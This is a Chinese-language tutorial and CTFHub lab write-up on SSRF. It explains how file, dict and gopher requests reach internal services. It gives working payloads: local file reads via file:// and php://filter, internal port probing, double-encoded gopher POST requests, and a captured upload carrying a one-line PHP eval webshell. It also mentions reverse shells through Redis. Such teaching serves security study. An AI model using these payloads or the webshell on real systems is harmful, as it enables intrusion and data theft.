概念
SSRF (Sever-Side Request Forgery: 服务器端请求伪造) 是一种由攻击者构造由服务器端发起请求的安全漏洞。一般情况下,SSRF 漏洞攻击的目标是从外网无法访问的内网系统(因为由服务器端发起,所以能够请求到与外网隔离的内网系统)
形成原因
其形成的原因大都是由于服务器提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格的过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。例如:从指定URL 地址获取网页内容,加载指定地址的图片,下载等
数据流:攻击者->服务器->目标地址
PHP函数应用
根据后台使用的函数不同,对应的影响和利用方法也不同 php 中下面函数使用不当会导致SSRF :
file_get_contents() 将整个文件或一个url所指向的文件读入一个字符串中
fsockopen() 打开一个网络连接或者一个Unix 套接字连接
curl_exec() 初始化一个新的会话
//这三个函数在利用远程服务器获得请求比较常见
如果一定要通关后台服务器远程去对用户指定(“或者预埋在前端的请求”)的地址进行资源请求,则请做好对目标地址的过滤。
PHP中的curl函数
利用ssrf漏洞能够对后端服务器同一网络的其他服务器进行探测
?url=http://192.168.1.15:22 //探测该ip的22号端口是否开放
PHP中的file_get_content()函数
对本次文件和远程文件进行读取,也可通过其支持的协议对内网进行探测,同curl() 函数。 读取ssrf.php 的php 源码,并以base64 编码返回。
?file=php://filter/read=convert.base64-encode/resource=ssrf.php
漏洞利用
- 内网主机探测
- 内网主机端口扫描
- 攻击内网的应用程序
例如: CVE-2014-4210 利用weblogic 中的ssrf 漏洞攻击内网中的redis 服务器, 通过构造的payload 让redis 服务器反弹shell - 利用
http 、file、 dict、 gopher 、ftp【文件传输协议】 协议进行请求访问相应的文件
- 利用
file 协议对本地文件内容进行读取 - 利用
http 协议探测内网存活的IP 和端口 等 - 利用
gopher 协议构造get、post 请求 - 利用
dict 协议泄露安装软件版本信息,查看端口,操作内网redis 服务等
gopher协议详解(练习题中会用到)
gopher 协议是一种信息查找系统,TCP70 端口。 gopher 协议支持发出GET、POST 请求。可以先截获get 请求包和post 请求包,再构造成符合gopher 协议的请求。gopher 协议是ssrf 利用中一个最强大的协议(俗称万能协议)。可用于反弹shell 。
gopher://<host>:<port>/<gopher-path>_后接TCP数据流
- 回车换行需要使用
%0D%0A 来代替%0A - 多个参数之间的
& 也需要进行URL 编码 - 发送
gopher 协议, 协议后的IP 一定要接端口
使用方式
-
构造HTTP GET/POST 请求消息 -
对请求消息进行URL 编码 -
将编码后的字符串中%0A 替换为%0D%0A -
将最终的字符串再进行一次URL编码 -
拼接协议头、请求地址
练习——ctfhub
内网访问
题目要求访问127.0.0.1 的flag.php ,直接拼接进行访问即可得到flag 。
?url=127.0.0.1/flag.php
伪协议读取文件
尝试读取web 目录下的flag.php ,web 目录下的文件,一般网站的目录都放在www/html/ 目录下
?url=file:///var/www/html/flag.php
查看源码得到flag
端口扫描
题目提示端口范围是8000-9000。在url处进行拼接
/?url=127.0.0.1:8000
状态码提示OK,我们考虑在端口处进行标记,暴力破解 修改intruder 模块的payloads 如下
POST请求
?url=127.0.0.1/flag.php
页面跳转后得到一个输入框,查看源码 没有得到有用的信息,在搜索wp的过程中,有的提到要用302.php,现在题目有所更新,该php页面不存在了。 使用dirsearch 进行目录扫描,得到flag.php 和index.php 。 我们将刚才源码中得到的key放入输入框查看结果,提示进程仅从127.0.0.1 中查看 接下来尝试使用file 协议读取flag.php 的内容
?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
再次使用file 协议读取index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
$ch = curl_init();
//初始化新的会话,返回 cURL 句柄,供curl_setopt()、 curl_exec() 和 curl_close() 函数使用。
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);//设置URL到CURLOPT_URL
curl_setopt($ch, CURLOPT_HEADER, 0);//是否输出头信息到屏幕
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //值被设置为1时将会根据服务器返回 HTTP 头中的 "Location: " 来重定向。
// 位掩码, 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时,什么情况下需要再次 HTTP POST 到重定向网址。
curl_exec($ch);// 抓取 URL 并把它传递给浏览器
curl_close($ch);// 关闭 cURL 资源,并且释放系统资源
题目为post ,我们使用gopher 协议来解题
思路:目前已知flag.php 含有字符key ,index.php 能够接受url 传参,并利用curl 功能访问url 传参的内容。那么我们可以利用gopher 协议往index.php 中传入一个POST 请求包,请求包内容是flag.php 的key 。
利用gopher 协议传入post 请求
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36 //为最后一行字符串key=.....的长度
Content-Type: application/x-www-form-urlencoded
key=6767e4aacaf6cb5f0a00acb8d8dee5cb
在第一次编码后的数据中,将%0A 全部手动替换为%0D%0A 。因为 Gopher 协议包含的请求数据包中,可能包含有=、& 等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL 编码,这样服务端会把% 后的字节当做普通字节。 第一次编码后
gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=6767e4aacaf6cb5f0a00acb8d8dee5cb%0d%0a
第二次编码后
gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=6767e4aacaf6cb5f0a00acb8d8dee5cb%250d%250a
注意:每打开一次环境,key的值都不一样。
上传文件
题目内容需要上传flag.php
?url=127.0.0.1/flag.php
出现了上传文件的按钮,但缺少提交按钮。 我们尝试修改在前端修改源码,打开开发者工具中的查看器一栏后,在对应源码右键,点击生成节点副本。 修改新生成的file 为submit (涉及到CSS的基础知识)
点击回车后,得到提交查询的按钮 我们先使用file 协议查看flag.php 的内容
?url=file:///var/www/html/flag.php
<?php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
分析源码发现会分析文件内容是否为空,我们同样采用gopher 协议的方法。
思路:随意上传一个文件,使用burp抓包得到http请求的数据包,将得到的响应使用进行url编码,将所有的%0a前面修改为%0d%0a,再次进行url编码即可得到flag。
抓取的是提交查询时的数据包
POST /flag.php HTTP/1.1
Host: challenge-6212554f835202df.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------394055119139482426153894044749
Content-Length: 380
Origin: http://challenge-6212554f835202df.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-6212554f835202df.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------394055119139482426153894044749
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream
<?php @eval($_POST[123]);?>
-----------------------------394055119139482426153894044749
Content-Disposition: form-data; name="file"
鎻愪氦鏌ヨ
-----------------------------394055119139482426153894044749--
将两次url 编码得到的字符串进行payload 拼接得到get 请求,发送请求即可得到flag 。
GET /?url=127.0.0.1/index.php?url=gopher://127.0.0.1:80/_(两次url编码得到的字符串)
|